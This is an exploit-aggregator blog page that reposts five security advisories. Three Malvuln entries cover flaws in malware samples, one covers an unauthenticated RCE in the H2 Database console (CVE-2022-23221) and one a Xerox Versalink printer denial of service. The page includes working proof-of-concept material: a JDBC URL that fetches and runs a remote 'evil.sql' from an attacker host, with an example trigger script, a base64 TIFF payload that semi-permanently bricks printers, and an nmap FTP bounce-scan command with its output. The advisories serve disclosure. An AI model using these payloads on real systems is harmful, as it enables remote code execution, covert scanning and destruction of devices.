Hacking Articles Tips Tricks Videos Tutorials

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/b83836d7e6b0893e08d88a7850ca84ee.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.uq
Vulnerability: Insecure Permissions 
Description: The malware writes a PE file with a ".sys" extension to c:\ drive, granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: b83836d7e6b0893e08d88a7850ca84ee
Vuln ID: MVID-2022-0464
Dropped files: MIGBOT.SYS
Disclosure: 01/24/2022

Exploit/PoC:
C:\>cacls MIGBOT.SYS
C:\MIGBOT.SYS BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\>dir MIGBOT.SYS
Volume in drive C has no label.

Directory of C:\

01/19/2022  06:27 PM             2,432 MIGBOT.SYS
1 File(s)          2,432 bytes
0 Dir(s)  27,604,955,136 bytes free
C:\>type MIGBOT.SYS
MZÉ            @   !This program cannot be run in DOS mode.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

7 views19:16

Photo

Exploit Collector
Backdoor.Win32.FTP.Lana.01.d Weak Hardcoded Password

https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Backdoor.Win32.FTP.Lana.01.d malware suffers from having a weak hardcoded password.

MD5 | 9339341baa566b6c6f3ef3c81f9a9688

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable.
Type: PE32
MD5: fc100ff65f676a26293915407adc211c
Vuln ID: MVID-2022-0468
Dropped files: FTP.exe
Disclosure: 01/24/2022

Exploit/PoC:
.text:00402C08                 push    offset aUser    ; "user"
.text:00402C0D                 push    eax             ; lpString1
.text:00402C0E                 call    lstrcmpiA
.text:00402C13                 or      eax, eax
.text:00402C71                 jz      short loc_402CB0
.text:00402C73                 mov     eax, [ebp+lpString1]
.text:00402C76                 add     eax, 5
.text:00402C79                 push    offset aPass    ; "pass"
telnet.exe x.x.x.x 6666
220 Anal FTP v0.1 
USER user 
331 Password required for user. 
PASS pass 
230 User logged in, proceed. 
SYST 
215 UNIX Type: L8 
PASV 
227 Entering Passive Mode (192,168,18,129,225,245). 
STOR DOOM.exe 
150 Data connection accepted. 
226 Transfer ok 
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

6 views19:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdoor.Win32.FTP99 Man-In-The-Middle

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Backdoor.Win32.FTP99 malware suffers from a man-in-the-middle vulnerability.

MD5 | 03ebd4e3a2d8f4d37d119d0a7766447c

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 1492. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0466
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
nmap -n -Pn -b hackcity:@192.168.18.129:1492 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-17 16:29 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://hackcity:@192.168.18.129:1492
Connected:220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:29
Removed 21
Changed my mind about port 21
Discovered open port 80/tcp on 192.168.18.237
Removed 22
Changed my mind about port 22
Completed Bounce Scan at 16:29, 2.17s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds 
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

8 views19:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
H2 Database Console Remote Code Execution

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
The H2 Database console suffers from an unauthenticated remote code execution vulnerability.

MD5 | 5d78c725ce53c3a68233c0136fdf6a82

Download

Document Title
===============
Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

Product Description
===============
The H2 Console Application

The Console lets you access a SQL database using a browser interface.

Homepage: http://www.h2database.com/html/quickstart.html
Affected Components
===============
File Name: WebServer.java
File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java
Impacted Function: getConnection

PoC
===============

1) Navigate to the console and attempt to connect to a H2 in memory
database that does not exist using the following JDBC URL:

```
jdbc:h2:mem:1337;
```

2) Note that you get the following security exception preventing you
from creating a new in memory database:

```
Database "mem:1337" not found, either pre-create it or allow remote
database creation (not recommended in secure environments) [90149-209]
90149/90149 (Help)
```

3) Now try again with the following JDBC URL:

```
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
```

4) Note that you were able to successfully create a new in memory database
5) Create a SQL file that contains a trigger that executes
java/javascript/ruby code when executed and host it on a domain you
control (ex: http://attacker)
6) Use the following JDBC URL to execute the SQL file hosted on your
domain on connect:

```
jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
```

Example evil.sql file:

```
CREATE TABLE test (
id INT NOT NULL
);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);
```

CVE Issued: CVE-2022-23221

Source:packetstormsecurity.com

7 views19:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Xerox Versalink Denial Of Service

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
Xerox Versalink printers suffer from a remote denial of service vulnerability using a specially crafted TIFF payload.

MD5 | 6e3cb2a81347b918d317b9807225ac8d

Download

[+] Credits: Mahmoud Al-Qudsi
[+] Website: https://neosmart.net/
[+] Source: https://neosmart.net/blog/?p=4865
[+] Media: https://twitter.com/mqudsi and https://twitter.com/neosmart

[Vendor]
Xerox Corporation

[Product]
Xerox Versalink printers, other Xerox printers/copiers.

[Vulnerability Type]
Remote denial-of-service leading to bricked device.

[Security Issue]
A specifically crafted TIFF payload may be submitted to the printer's job queue
(in person or over the network) by unauthenticated/unprivileged users or network
or internet attackers by means of a JavaScript payload. The device will panic
upon attempting to read the submitted file and a physical reboot will be
required. Upon reboot, the device will attempt to resume the last-printed job,
triggering the panic once more. The process repeats ad-infinitum.

[Exploit/PoC]
Extract the TIFF contents of the base64-encode archive below and submit directly
to the job queue on a vulnerable printer to trigger the exploit:

UmFyIRoHAQAzkrXlCgEFBgAFAQGAgAD5BbdHEwMC5QAE5QAA9kPUNIAAAANDTVRYZXJveCByZW1v
dGUgYnJpY2sgcGF5bG9hZCBieSBNYWhtb3VkIEFsLVF1ZHNpDQpTZWUgaHR0cHM6Ly9uZW9zbWFy
dC5uZXQvYmxvZy8/cD00ODY1IGZvciBtb3JlIGluZm8uAOsG2ysrAgMLjQEEvAMgCd+uuYADAA94
ZXJveCBicmljay50aWYKAwIA/Fsg4nPVAcISiiBENSb2YDSTz9+g+ofkEQVoaUFeJvK3kDY8WbGp
HgjY0bFPe8gzgjwjaJNmzSGzlGGm0ZRkySYEISicQttsKElCEti8EbSsdkcDz6/WmRz/N1o/EIEf
YPQUn+fPO4RLXjWeRbJT8isQTI5AnW6pF0WsD5DaxM4tgNHp3U7xR1fsHuvMYwMeDGyHIB13VlED
BQQA

[Network Access]
Local or remote

The sample payload may also be submitted to exploit a Xerox printer with a known
ip address or host name over the web by taking advantage of the unprotected HTTP
POST interface exposed by the device on its network interface.

[Severity]
Critical

The denial-of-service attack results in a semi-permanent "bricking" of the Xerox
printer. Recovery may be possible if there are unapplied firmware updates by
forcing an update over the network, which clears the job queue in the process.
Otherwise, manually clearing the non-volatile storage memory on the device's
mainboard is required to break out of the loop.

[Disclosure Timeline]
- September 26, 2019: Reported to Xerox
- January 14, 2020: Confirmed by Xerox in response to a request for updates
- January 25, 2022: Publicly disclosed, remains unpatched and exploitable

Mahmoud